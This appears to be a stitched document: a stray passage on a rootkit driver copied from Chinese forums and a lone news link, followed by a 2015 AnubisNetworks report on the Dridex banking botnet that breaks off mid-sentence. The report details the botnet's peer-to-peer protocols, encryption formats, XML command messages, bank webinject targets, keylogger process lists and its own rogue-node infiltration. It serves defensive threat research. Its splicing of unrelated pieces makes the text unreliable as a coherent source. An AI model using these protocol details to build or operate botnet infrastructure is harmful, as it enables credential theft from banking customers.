samples on those forums. As previously mentioned, there is no advantage associated with using this call obfuscation and appears to be reused for no apparent reason other than the attackers have copied code directly from forum code. While the various network hooking techniques used in the kernel driver may appear novel or well-researched upon close inspection, it is actually a line for line copy of an existing post from the now-defunct rootkit.com by a Chinese language developer. This post is currently mirrored on dozens of Chinese hacking websites. Similarly, the system call hooking is less impressive after searching for “IoAllocateMdl” and “cr0” which identifies Chinese forums with almost identical code to perform system call hooking through MDLs. The ldasm inline hooking is also repeated in numerous postings to Chinese forums. One particular website had an almost identical ldasm loop that tried to identify the exact same code sequences. Open source research of the four innocuous kernel APIs “ZwSaveKey, ZwQueryValueKey, ZwEnumerateValueKey” in concern leads directly to a Chinese website that has a cached rootkit performing similar hooks on the same three registry-related APIs. While the driver does not use pool tags for most of its allocations, it does utilize them in the networking hooking code, much like the examples found on the Chinese language forums. This sample uses pool tags: ‘tnet,’ and ‘KDTR’. Although the meaning of the KDTR tag is not known, we assess with high confidence that this is a shortened version of “Kernel DeTourned” which coincides with the matching functionality of the detour-style inline hook. The driver code (MD5: dae6b9b3b8e39b08b10a51a6457444d8) appears to be a combination of various code that is easily searchable on the Internet and almost always attributed to Chinese language forums and websites. The system call hooking parts of the code appear to be identical to the HookSSDT.c code authored by Steven Lai ‘embedlinux’ and utilized in what the author titled ‘CC Rootkit’ on August 4, 2008.
# POLITICO Pro eenews.net/stories/1060123327/
# Version Information **Version** | **Date** | **Description** 01 | 2015-08-18 | Initial version. 02 | 2015-10-14 | Minor editing and audience scope. 03 | 2015-10-15 | Public release. This report was prepared by AnubisNetworks Labs. --- # Executive Summary In March 2015, AnubisNetworks Labs team started analyzing multiple malware samples of the Dridex family in order to: 1. Map the infections of associated botnets; 2. Understand the complexity of its communication channels; 3. Enumerate vulnerabilities that could be exploited. From our research we have concluded the following: 1. Dridex deploys a hybrid peer-to-peer network with different layers in order to achieve resilience against a takedown; 2. The Dridex ecosystem is constituted by a small number of independent botnets, that have different geographies and financial institutions as targets; 3. Dridex is currently being used to obtain credentials from a large number of online services including several banking services of multiple countries; 4. Dridex P2P network protocols have vulnerabilities that allow interception of bot communications, and may be used to disrupt or takeover the botnet; 5. By reversing the Dridex communication protocols, we were able to deploy a rogue node that can eavesdrop on botnet communications between bots and supernodes (admin_nodes), enumerate bots and map the infection dispersion of the botnets. --- # Scope This paper describes in detail the communication channels of the Dridex malware once it’s up and running on the infected systems, namely its P2P network, encryption methods and associated C2 infrastructure. Our intent is to focus on how the malware communicates with their command and control and to map possible vulnerabilities on the protocols it uses to support monitoring capabilities. There is no intent to document its distribution mechanisms nor the behavior of the malware on the infected systems in great detail, except for network communications and operations that support those communications (e.g., encryption). Infection dispersion of the many botnets associated with Dridex is also out of scope of this document. There are no attribution indicators on this document. --- # Dridex Overview Dridex has been around since November 2014 and is an evolution of the malware families known as Bugat, Geodo, Feodo and Cridex. The malware is distributed via email, with a malicious Microsoft Word document as attachment, that once opened downloads a second stage payload that infects the system. Primarily targeting home banking users, it is a malware with various capabilities including man in the browser, keylogger, proxy and VNC. It features a peer-to-peer (P2P) network and uses cryptography on its communication channels. The Dridex ecosystem is constituted by eight (8) botnets, as tagged by their operators. From those botnets, the ones identified as 120, 125, 200, 220 and 320 seem to be the main botnets and 121, 122 and 123 seem to be aliases for botnet 120, or at least segregated from 120 at a logical level only, since they shared the same command and control systems. Currently, botnets 120, 200 and 220 are the most active, with predominant infections in Europe, North America and Asia. Dridex botmasters are very active, launching new campaigns against different geographies and hardening the botnet infrastructure with new countermeasures and command and control systems. --- # Peer to Peer Network The botnet uses a hybrid P2P network to communicate. There are different types of nodes and different protocols that are used. This section details each of these. ## Network Structure The network has the following structure: - **Bots**: Bots are the most common network element. These are the infected systems that are not directly connected to the Internet, have firewall active or NAT. - **Nodes**: Nodes are infected systems that are directly connected to the Internet, have no firewall and no NAT and have been successfully promoted to this layer. - **Admin_nodes**: Admin nodes appear to be composed by compromised servers. These act as a proxy layer between the C2 backend and Nodes. - **Servers**: Servers are the initial C2 communication point used by the malware. These are hardcoded in the malware files and the malware communicates with them to obtain an initial list of peers. - **C2 Backend**: The command and control backend operated by the botmasters. Notice that we have not seen this layer of the network so this component is speculated to exist. --- # Network Communications The network protocols and encryption schemes have changed over time. This document only covers the most recent scheme we are aware of, which has been in use since 30th April 2015. ## Network Protocols Dridex uses XML messages for communication between all of its network elements. However, these messages are wrapped in different encryption protocols that are used depending on the context of the communication. The following protocols are used by Dridex when sending the XML messages: - **Server communication protocol**: Used during the infection of a system, to obtain the initial list of nodes in the botnet. - **Internode communication protocol**: Used when the communication does not contain information relevant to the C2, for instance when messages are used solely to maintain the structure of the network. - **C2 communication protocol**: Used when the message needs to reach the C2 backend, for instance when sending stolen data or requesting new commands. ### Server Communication Protocol The communication to the servers is transmitted in HTTP over SSL. The body of the HTTP request contains a 4 byte XOR key and the XOR encrypted XML message. - **XOR Key (4 bytes)**: The Key used to XOR encrypt the data. - **XORed XMLMSG**: The XML Message encrypted through XORing each 4 bytes of the message with the key. ### Internode Communication Protocol The internode communication is transmitted directly through TCP sockets and uses the following structure: - **Random data (124 Bytes)**: Random data generated using the Windows API function CryptGenRandom. - **Checksum (4 bytes)**: A checksum result of the random data. The checksum is the reverse of the sum of the 31 4 bytes Integer values contained in the 124 bytes of random data. - **Datalen (N bytes)**: The data length in a special format stored in two Signed Short Integer (2 byte) numbers. - **XOR Key (4 bytes)**: The Key used to XOR encrypt the data. This is a random 4 byte key obtained through the Windows API CryptGenRandom function. - **XORed GZIPed XMLMSG**: The XMLMSG to be sent to the node is compressed using gzip format. Each 4 bytes of the compressed data is then XORed with the XOR key. ### C2 Communication Protocol The C2 communication is transmitted through HTTP over SSL (the bots do not check the validity of the SSL certificate provided). Whenever a bot sends a message to the C2, the HTTP request contains a special header that identifies the Unique ID of the requesting bot. - **Id**: ABCDEFG_12345678901234567890123456789012 The HTTP request body contains the XML message encrypted in the following format: - **RSA Signature (128 bytes)**: The RSA Signature of the remaining of the HTTP request body using the Bot RSA Private Key that was generated locally. - **Microsoft SimpleKey Blob Header (12 bytes)**: The header of the Microsoft SimpleKey Blob. - **RSA Encrypted RC4 Key (128 bytes)**: A Random RC4 key is generated for each message being sent and encrypted using the C2 public key that is hardcoded in the malware files. - **RC4 Encrypted Compressed XMLMSG**: The XMLMSG to be sent to the node is compressed using GZIP format. The compressed XML is then encrypted using the RC4 Key that was generated for this message. ### Info Protocol Some information is base64 encoded and sent inside the XML messages. This is key information (e.g. software modules, initial node list, Info XML Message contents) which is double encrypted and signed by the C2 private key. After decoding the base64, its contents are stored in the following format: - **RSA Signature (128 Bytes)**: RSA Signature of remaining payload (XOR key and XORed payload). - **XOR Key (4 bytes)**: The key used to XOR encrypt the data, this is a random 4 byte key. - **XORed GZIPed data**: The data to be sent to the node is compressed using gzip format. Each 4 bytes of the compressed data is then XORed with the XOR key. --- # Communication Flows This section describes the typical communication flows that occur when a bot is first infected, when it tries to escalate to node and after infection while it is periodically beaconing to the C2. ## Joining the Network The following diagram shows the sequence of communications that occur during the infection of a system until it has fully joined the Dridex peer to peer network. When a new system is infected it performs the following actions: 1. The first stage, a malicious Microsoft Office document, downloads via a regular HTTP request the second stage malware from a compromised web server; 2. The second stage malware connects to its hard coded servers using Dridex Server protocol and sends a “loader” XML message, requesting the third stage malware/bot DLL and the initial list of nodes; 3. The bot connects to one of the nodes in order, from first to last of the list, until one responds correctly and sends a “beacon with pub key” XML Message that results in a response that contains the external IP address of the bot; 4. The bot sends a “beacon with pub key” XML message using C2 communication protocol that contains the IP address received from the node and the bot’s RSA public key; 5. The bot sends a “beacon with empty hash” XML message to the C2 that shows an empty config file hash value. In response, the C2 sends the latest config file, the commands it wants the bot to execute, and the most recent list of nodes; 6. The bot sends a “beacon” XML message to the node. In response, the node replies with a list of the available modules; 7. The bot sends a “beacon with get_module” XML message requesting some of the available modules from the C2; 8. The bot sends a “beacon with get_module” XML message requesting some of the available modules from the node. ## Escalate to Node Once a bot has registered into the network (after it has successfully sent the public key to the server and received a positive reply) it starts the process of elevation to node, in parallel with the remaining requests related to obtaining the config file and the available modules. This process will allow bots that are not behind a NAT to work as nodes in the P2P network. The following communications occur during this process: 1. The bot sends a “checkme” XML message to three randomly selected nodes from the node list and repeats this process until all of the nodes are tested; 2. Each node that receives the “checkme” request will try to connect to the bot in the TCP port listed in the “checkme” XML message and send a “Ping” XML message; 3. If the node receives a “Pong” XML message, in reply to “Ping” it will send a “beacon with newnode” XML message to the C2 warning that a new potential node was detected; 4. The C2 will respond with an appropriate “Info” XML message to be sent to the new node. This message will typically contain the admin_node to be used by the new node; 5. The node will connect to the bot and send the “info” XML message; 6. The bot will connect directly to the admin_node and send a “beacon with pub key” XML message, without IP, containing the bot’s public key; 7. Finally, the new node will connect directly to the admin_node and send a “node beacon” XML message to the admin containing the type node XML field. ## Periodic Checkin After a bot successfully registers into the network, tries to escalate to node, downloads the config file and downloads all the available modules, it periodically checkin to the C2 to: - Send any command output results; - Send stolen data; - Check for updates to config files; - Check for updates to the modules. Once an infected system has registered itself as a new bot, it starts the node escalation process by performing the following actions: 1. The bot sends a “beacon” XML message to the node. In reply it can receive updated IP address if the bot IP address has changed and new versions of modules; If a new module or new version is received the bot will send a message requesting the new module; 2. The bot sends a “beacon” XML message to the C2. This message can contain a <data> field containing stolen data, command outputs and debugging messages. The reply can contain updated configuration files, additional commands, updated node lists or updated admin_nodes list. --- # Message Formats Dridex uses the protocols described before to transmit and receive a set of XML messages. These messages and their responses take the bots through a set of states that allow the botnet to function. These messages are divided in the following categories: - Server messages; - Node messages; - C2 messages. Most of these messages share a set of common attributes. The most relevant are: - **unique**: The bot unique ID, built from the computer name and a hash based on a registry key value, with the following format: `<PC-NAME>_<md5 hash>`; - **botnet**: The botnet where the bot belongs to. Each botnet is a separated Dridex P2P network with separate configs, modules, bots, nodes and admin nodes. - **version**: The software version of the bot module; - **system**: The operating system version; - **type**: The role of the infected system (bot or node). ## Server Messages The following messages are sent between the second stage component of a Dridex install and one or more of its hardcoded servers. These will use the Server communication protocol for encryption and transmission. ### Loader When the second stage malware is loaded into the system it connects to a list of hardcoded IP addresses (servers) and downloads the bot and the node list. **REQUEST** ``` <loader><get_module unique="ABCDEFG_12345678901234567890123456789012" botnet="200" system="56384" name="bot" bit="32"/><soft><![CDATA[]]></soft></loader> ``` **RESPONSE** ``` <root><nodes>T8JR2C+UMVGlsgJ2SRVSz2FgrzM2WMfGK3hR1RiZCs4WsX2+kZtgOC4OHPfIooR9l/mJWWiFeSZDCPB/zrIX5Bw+Y47mhGm8wrSoY5m5BMFzaKevVKkE8rSATmGuNPjAT/vXUAOaz2a91pwYbSxSreap/YF8Ippz3V+TFxl6tcxKIV2qVapVqlWpGCUepFebWel6Lmln8jlB/yawjfhcEuqaTLx5GJ0ZRo2mE4NRzSUgEeqkigvPOjR6c305PVkCxODSXndpHIoUIYyVRWSwvd3JcRI+fT8ZlpDXMS+BRT5XGGLiEw8lfMzBm5BofPWE...SNIP...</nodes><module name="bot" bit="32">iMAlP+gf5ujehA6EsHVySqflek7YqX3+QCR6xcDb1LPgus4jXEhmT0Z21y2uLLginEA8gKBFFrGdXDTSnz3F/qZc0oV2lhf3ul4pb5HVe0spkF0FGohUnvwxXTPW20Az+tk+jHU3XtQMnm6++6jk4P1jFJRVWnoGuaFj+VPXxodNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAACWTSP5h8iatYfImrWHyJq1GNFutYPImrUY0Xa1j8iatov17rXDyJq1h8ietBvImrW</module></root> ``` The request sends the bot unique ID, which will be used in all future communications with the botnet and the list of software that is installed in the system. The response contains the nodes and the bot module for the system architecture. Both the node list and the module are encrypted using the Info protocol described earlier. ## Node Messages The following messages are sent between a bot and a node or between nodes. These will use the Internode communication protocol for encryption and transmission. ### Beacon The beacon message will be sent by a bot to a node in the periodic checkin that is made every 20 minutes after the initial infection. It does not include the public key and includes the bot's last known external IP address. **REQUEST** ``` <root> <unique>ABCDEFG_12345678901234567890123456789012</unique> <botnet>220</botnet> <version>196637</version> <system>64584</system> <type>bot</type> <ip>1.2.3.4</ip> </root> ``` **RESPONSE** ``` <root> <ip>1.2.3.4</ip> <modules>bot_x32:b7365e711500550df99f254feac9d310,bot_x64:31f5073565351e1ba825d6a3bceac295,socks_x32:4b56a817f184c8536ed812d31bafd61b,socks_x64:da4c598b35d30ac60c300028be58021d,vnc_x32:863226dc453c35cd5880fcb2a858812e,vnc_x64:3fb6f34d7cf994abbcecb6d679cc76d7</modules> </root> ``` ### Beacon with pub key The beacon with pub key message is sent by an infected system to a node, the first time a bot communicates with a node. This message differs from the regular beacon in that it contains the bot’s public key and it does not contain the bot's external IP address. **REQUEST** ``` <root> <unique>ABCDEFG_12345678901234567890123456789012</unique> <botnet>220</botnet> <version>196637</version> <system>64584</system> <type>bot</type> <public>-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCzmIn0VTR06xaUCBc+DAOc1w/cr9X9sTdFmhqjIfR6RpmsBnjSyvUml3bUD0F+zJCKjHs0+qfsEg5jbcUWy2pxsRZY0P0FkFvbhAcU6XOzxu6+mfil8W7T+eqi8xPk0NlgyoNfNBDrmOTs9V/gS0xWxYRu jTXX3qOGm+uIsyDeAwIDAQAB -----END PUBLIC KEY-----</public> </root> ``` **RESPONSE** ``` <root> <ip>1.2.3.4</ip> <modules>bot_x32:b7365e711500550df99f254feac9d310,bot_x64:31f5073565351e1ba825d6a3bceac295,socks_x32:4b56a817f184c8536ed812d31bafd61b,socks_x64:da4c598b35d30ac60c300028be58021d,vnc_x32:863226dc453c35cd5880fcb2a858812e,vnc_x64:3fb6f34d7cf994abbcecb6d679cc76d7</modules> </root> ``` ### Beacon with get_module The beacon with get_module message is used to request a software module from a node. The nodes store and transmit software modules, which allows to avoid excessive load on the C2 infrastructure with traffic relating to software module distribution. **REQUEST** ``` <root> <unique>ABCDEFG_12345678901234567890123456789012</unique> <botnet>220</botnet> <version>196629</version> <system>23128</system> <type>bot</type> <ip>1.2.3.4</ip> <get_module name="vnc" bit="32" /> </root> ``` **RESPONSE** ``` <root> <ip>1.2.3.4</ip> <modules>bot_x32:b7365e711500550df99f254feac9d310,bot_x64:31f5073565351e1ba825d6a3bceac295,socks_x32:4b56a817f184c8536ed812d31bafd61b,socks_x64:da4c598b35d30ac60c300028be58021d,vnc_x32:863226dc453c35cd5880fcb2a858812e,vnc_x64:3fb6f34d7cf994abbcecb6d679cc76d7</modules> <module name="bot" bit="32">iMAlP+gf5ujehA6EsHVySqflek7YqX3+QCR6xcDb1LPgus4jXEhmT0Z21y2uLLginEA8gKBFFrGdXDTSnz3F/qZc0oV2lhf3ul4pb5HVe0spkF0FGohUnvwxXTPW20Az+tk+jHU3XtQMnm6++6jk4P1jFJRVWnoGuaFj+VPXxodNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAACWTSP5h8iatYfImrWHyJq1GNFutYPImrUY0Xa1j8iatov17rXDyJq1h8ietBvImrW</module> </root> ``` ### Checkme The checkme message is used by a bot, during the escalation to node process, to request an existing node to check if it has a direct internet connection (no firewall and no NAT) and is eligible to become a node. **REQUEST** ``` <root><checkme name="ABCDEFG_12345678901234567890123456789012" host="" port="443"/></root> ``` **RESPONSE** ``` <404> ``` ### Ping During the escalation to node process, after a node receives the checkme request from a bot, it will try to send a ping request to the port specified on the checkme message. If it receives a pong message then the bot is eligible to become a node. **REQUEST** ``` <root><ping name="ABCDEFG_12345678901234567890123456789012" /></root> ``` **RESPONSE** ``` <root><pong name="ABCDEFG_12345678901234567890123456789012" /></root> ``` ### Info The info message is sent to new nodes informing them of the admin_nodes they should start contacting. **REQUEST** ``` <root><info>T8JR2C+UMVGlsgJ2SRVSz2FgrzM2WMfGK3hR1RiZCs4WsX2+kZtgOC4OHPfIooR9l/mJWWiFeSZDCPB/zrIX5Bw+Y47mhGm8wrSoY5m5BMFzaKevVKkE8rSATmGuNPjAT/vXUAOaz2a91pwYbSxSreap/YF8Ippz3V+TFxl6tcxKIV2qVapVqlWpGCUepFebWel6Lmln8jlB/yawjfhcEuqaTLx5GJ0ZRo2mE4NRzSUgEeqkigvPOjR6c305PVkCxODSXndpHIoUIYyVRWSwvd3JcRI+fT8ZlpDXMS+BRT5XGGLiEw8lfMzBm5BofPWE...SNIP...</info></root> ``` **RESPONSE** ``` <200> ``` The body inside the info tag is encoded using the Info protocol described earlier and contains the admin_node to be used by the bot in the following format: ``` <root><admin_node>1.2.3.4:443</admin_node></root> ``` --- # C2 Messages The following messages are sent between a bot and the C2. These will be sent through a node using HTTPS protocol containing a HTTP header that includes the bot unique ID and will be forwarded by the node to the admin node without being inspected. The body of the HTTP requests will be encrypted using the C2 communication protocol described earlier in this document. ### Beacon The key component of messages sent to the C2 is the beacon. After the bot initial infection and escalation process, the bots periodically check in to the C2 by sending a beacon as follows. If the C2 has a config file with a hash that is different from the hash sent by the bot, the new config file will be returned in the response. **REQUEST** ``` <root> <unique>ABCDEFG_12345678901234567890123456789012</unique> <botnet>220</botnet> <version>196629</version> <system>23128</system> <type>bot</type> <ip>1.2.3.4</ip> <hash><![CDATA[37d0d82c2c7b156c82156d3aee6d23bca7faf052]]></hash> </root> ``` **RESPONSE** ``` <root> </root> ``` ### Beacon with pub key A bot will send the beacon with pub key message when it first communicates with the C2 during the register process. This beacon contains the public key of the bot’s own key pair and does not yet contain a config file hash. In response it will receive a public key. However, the received public key does not seem to be used in any communication encryption or signature validation routines. **REQUEST** ``` <root> <unique>ABCDEFG_12345678901234567890123456789012</unique> <botnet>220</botnet> <version>196629</version> <system>56392</system> <type>bot</type> <ip>1.2.3.4</ip> <public>-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDP5z7lwWHpYZZaBjw3iSzHOFwgEg3CiuqbosZqfWqVwWpBIg178X4z+erjdELboFr6u7kEu3MScNHeVrLak9SI/OK739jykbGp92MEgJef+5d/juUEajM5xAqI3e4Su3yvFSOW6zJqWwxQxDN8CF+tVeau eDb7uPfcLmeGxLjmAQIDAQAB -----END PUBLIC KEY-----</public> </root> ``` **RESPONSE** ``` <root><public>-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDP5z7lwWHpYZZaBjw3iSzHOFwgEg3CiuqbosZqfWqVwWpBIg178X4z+erjdELboFr6u7kEu3MScNHeVrLak9SI/OK739jykbGp92MEgJef+5d/juUEajM5xAqI3e4Su3yvFSOW6zJqWwxQxDN8CF+tVeau eDb7uPfcLmeGxLjmAQIDAQAB -----END PUBLIC KEY-----</public></root> ``` ### Beacon with empty hash During the initial registration of the bot, it will send a beacon containing an empty hash value. In response, the server will send the current configuration file and an initial set of commands that the bot should execute. **REQUEST** ``` <root> <unique>ABCDEFG_12345678901234567890123456789012</unique> <botnet>220</botnet> <version>196629</version> <system>23128</system> <type>bot</type> <ip>1.2.3.4</ip> <hash><![CDATA[]]></hash> </root> ``` **RESPONSE** ``` <root><settings hash="37d0d82c2c7b156c82156d3aee6d23bca7faf052"><httpshots><url type="deny" onget="1" onpost="1">\.(gif|png|jpg|css|swf|ico|js)($|\?)</url><url type="deny" onget="1" onpost="1">(resource\.axd|yimg\.com)</url><url type="allow" onget="1" onpost="1">^https://www\.bankline\.(natwest\.com|rbs\.com|ulsterbank\.(ie|co\.uk))/</url><url type="allow" onget="1" onpost="1">^https://corporate\.santander\.co\.uk/</url></httpshots><httpinjblock><url type="allow">(|\.)alstats\.com</url>...SNIP...</settings><commands><cmd id="3343" type="17"><kl>WinBacs,albacs,Albany.EFT.Corporate.Client,wpc,eSigner,StartStarMoney,StarMoney,acsagent,accrdsub,acevents,acCOMpkcs,ac.sharedstore,jp2launcher,cspregtool,RegTool,translink,deltaworks,dfsvc,multibit,ArmoryQt,QtBitcoinTrader,Cortex7,OEBMCC32,WUB,electrum,DexiaSoft,acCOMcsp,AccessPay,Suite,Entreprise,Enterprise,bitcoin,bitcoin-qt,Suite,Entreprise,Suite,Enterprise,argenie,argenie64,ARcltsrv,TokenManager,aetcrss1,csdrv32,sllauncher</kl></cmd></commands></root> ``` ### Beacon with get_module During the initial registration of the bot, or whenever the bot finds that there are new software modules available, it will request some of them from the node and some from the server. In order to do so, it will send a beacon containing the get_module tag. In response, the server will send the requested module. **REQUEST** ``` <root> <unique>ABCDEFG_12345678901234567890123456789012</unique> <botnet>220</botnet> <version>196629</version> <system>23128</system> <type>bot</type> <ip>1.2.3.4</ip> <hash><![CDATA[37d0d82c2c7b156c82156d3aee6d23bca7faf052]]></hash> <get_module name="vnc" bit="32" /> </root> ``` **RESPONSE** ``` <root> <module name="bot" bit="32">iMAlP+gf5ujehA6EsHVySqflek7YqX3+QCR6xcDb1LPgus4jXEhmT0Z21y2uLLginEA8gKBFFrGdXDTSnz3F/qZc0oV2lhf3ul4pb5HVe0spkF0FGohUnvwxXTPW20Az+tk+jHU3XtQMnm6++6jk4P1jFJRVWnoGuaFj+VPXxodNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAACWTSP5h8iatYfImrWHyJq1GNFutYPImrUY0Xa1j8iatov17rXDyJq1h8ietBvImrW</module> </root> ``` ### Beacon with data Whenever the bot has some data to send to the C2 it will send a beacon with a data tag that contains the data to be sent. The data being sent depends on the way it is collected, but it can be comprised of: - Keylogger data - Man In The browser data (forms, passwords, etc.) - Screen shots - Debugging data - Other data **REQUEST** ``` <root> <unique>ABCDEFG_12345678901234567890123456789012</unique> <botnet>220</botnet> <version>196629</version> <system>56392</system> <type>bot</type> <ip>1.2.3.4</ip> <data> <keylog session="11972477" app="jp2launcher.exe" time="2015-06-27 04:20:37" type="shot"><![CDATA[/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDABQODxIPDRQSERIXFhQYHzMhHxwcHz8tLyUzSkFOTUlBSEZSXHZkUldvWEZIZoxob3p9hIWET2ORm4+AmnaBhH//2wBDARYXFx8bHzwhITx/VEhUf39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f3//wAARCAMABVYDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAABF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQEAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK...SNIP...</keylog> </data> </root> ``` ### Node beacon The node beacon is sent by the nodes to the admin node periodically (every 20 minutes) to keep alive its node status. **REQUEST** ``` <root> <unique>ABCDEFG_12345678901234567890123456789012</unique> <botnet>220</botnet> <version>196629</version> <system>23128</system> <type>node</type> </root> ``` --- # Running a Fake Node Inside Dridex Botnets AnubisNetworks main objective while performing the reverse engineering effort that resulted in the information described in the previous sections of this document was to research a way to monitor the botnet, its infections, configuration files, modules and exfiltrated data in real time. In order to understand more about Dridex and its operations, we decided to use the protocol knowledge we already had to develop a fake bot in Python with the following capabilities: - Register itself into the botnet: This was a necessary first step. The fake bot needed to “speak” Dridex protocol and be indistinguishable from the remaining bots; - Escalate to node: After escalating to node, we would start receiving connections from other bots; - Intercept communications: The ability to decrypt connections would allow us to understand exactly the type of information that was being extracted from the bots and possible behaviour patterns of the botmasters; - Receive updated configuration files: This capability was interesting because it would enable us to monitor new targets (e.g. banking institutions) whenever they were added or removed from each of the botnets in real time; - Receive updated software modules: This would allow us to monitor updates to existing modules and the appearance of new modules in the botnet; - Send arbitrary messages between the nodes, and spoof C2 replies: This would allow us to further test the botnet and understand its behaviour when manipulated. --- # Architecture The following diagram represents the architecture of the fake node: The system is composed of the following components: - **Bot module**: This module is responsible for registering the bot into the P2P network. It will communicate with the nodes as a regular bot, and after escalation, it will communicate with the admin_nodes as a node. - **Node module**: This module is responsible for receiving all incoming connections and processing all internode communication. If the incoming connection is not in Internode protocol, the module forwards it to the SSL MITM module. - **SSL MITM module**: This module is responsible for intercepting SSL communications by presenting a fake certificate to the client and reestablishing the SSL connection to the admin server. This module is also responsible for decrypting all C2 protocol communications using the C2 private key. --- # Deployment Our fake node achieved all objectives. Running it revealed to be a challenge due to the high activity level of the botnet operators and the countermeasures they deployed over time. The fake node was successfully used to monitor the botnet for a few months, but this approach has a high maintenance cost due to the constant evolution of the botnet. However, building this software allowed us to better understand the inner workings of the botnet and to identify a few vulnerabilities. To track the different Dridex botnets, C2 changes and bot infections over time we have developed another application on top of the fake node that was used for collection, storing and reporting, called Dridex Tracker. --- # Countermeasures Timeline The fake node was run with all capabilities enabled from the end of April to the first half of July 2015. During this time the botnet and bot modules were updated several times and several countermeasures were added by the botmasters to prevent rogue nodes from entering the network. The following is a chronological record of some noteworthy occurrences: - 22nd April: Initial efforts to join the botnet were successful. The fake node escalated to node and started to receive connections from other bots; - 30th April: Dridex protocol changed and we were no longer able to join the botnet. The new protocol was reversed and the fake node code was improved; - 20th May: The botmasters started to block rogue nodes by removing them from the node list and disabling the IP address to register into the network. We opted to use the rogue node only for one botnet at a time; - 27th May: The botmasters added a feature when blocking a rogue node IP that sent 127.0.0.1 as the IP address of the admin nodes and nodes, causing the rogue nodes to enter an endless loop; - 30th May: The botmasters started to try to disable rogue nodes by sending them a “killer module” that erased a system MBR, and caused a reboot; - 23rd June: The botmasters started blocking rogue nodes more frequently, several times a day; - 10th July: The node escalation process seems to be controlled manually or in some other way that prevents the automated immediate node escalation. --- # Results ## Infection Dispersion Dridex botnets don’t have the same size in terms of infected systems when compared with other botnets in the wild but represent a very serious threat. That is unusual, given the high rate of email distribution campaigns. In April 2015, for the main Dridex botnets we counted the following unique bots: **Botnet** | **Unique Bots** Dridex-120 | 5850 Dridex-200 | 750 Dridex-220 | 9650 In July we observed a drop on those numbers. The following counters are related to unique bots for the main Dridex botnets that our fake node intercepted in the time window between 29th June and 10th July 2015. ### Dridex-220 Dridex-220 botnet geo dispersion and top 10 infected countries (unique bots: 3770) ### Dridex-120 Dridex-120 botnet geo dispersion and top 10 infected countries (unique bots: 995) --- ## Targets The main targets of Dridex were banks from several countries. During our analysis, we collected several versions of the config files for the main botnets (120, 200 and 220) in real time as they were updated. The following are the hashes of the config files. The number of files reflects the number of updates and shows the high level of activity of the botnet operators. ### Dridex-120: ``` a2297e5943b67baea4981492d130e832e477385e 46fb662c14139fe9896fac7ae446da1cfec267a4 a1f77caef817bf37e9106a0c404a34933c44fbea 1f257aa466fafc0fb7ee86500d12971934e56774 01af94bec88baf6487c1ad7dd4df1da76a851a86 0e4770e4d920bc6d96cebf1790211dc19f0ea79a 2bd2401726c43d424628877f4d1d13f94084fad1 556b30c88b78e0df7d5a456085c1159ec312cf91 68d86c793fe06b5a41a65bd7626750201ec61b18 a0a36d2ec157515af30b49e14494be43201c2fcc c44a63e98920e8e2d07e3a2f94c26bbd878bbdb5 caba93b3a74620fb747748931834e181aaf6d557 aafc829063b25e70e11052e9995095253471586c de85d6246ad7951f1af306bd65a2f82555dc5bc8 ``` ### Dridex-200: ``` 9df3eb9f7a404afc66b7a91877255ca1692959c7 cba023ce14c2502a31be47c1e4be1f4a21e730c1 1751c8359d81eee60437ef2c9d91b2b53ec1598e ``` ### Dridex-220: ``` 24877bb165bc0d66723be7dca1491b73f533fa1f 2a2e3c51d4a05c8e8c5bb76cb756eb87fa6b0dea 37d0d82c2c7b156c82156d3aee6d23bca7faf052 3c24b82d5e241f520d362d1f6a2713b5ca7011eb 44450edfefa88b92e1f5d0ef8e38c7b78cddfce7 79f9220f966c0de08e2b5e9d37064ed6ae39ccf3 830deb5d060789d353a1e5507669c4fda155ac67 8e94867d2ff752a0da55a9ab1f6046a915316908 a04ab4391ca6c78871f366198c90e201b40b23e1 a4e43c67156ed562b3f08358f520a21b0ae69463 a60ba9a229caba4daf591cfed67517e711ed7e22 a8fbd1b6fab99d20362edec7d2937cc35eb3248b aa3dc12da7bf2b030a3b1310b38e168298b6c92b bf008392dfdf36f77492a52eb3ab60aec586bcd6 bf7201be41ba82d7f7ae521e5171b6e7d2d4b80e c2700de864cc9fb90f0450b6dcda52519389ab4f d1c36a0addb61b31fb52bccf0024a1acf589a6dd e09de57a7e946654d0db8d8911ccc3909d1689a1 edcd41096f3678170e38c63968d7a1bec99ebe9e f37ff046e73a532a4064098e8d217a173d947c73 ``` These config files contained the webinject settings for several hundred URL patterns that mostly belonged to online banking applications and other financial 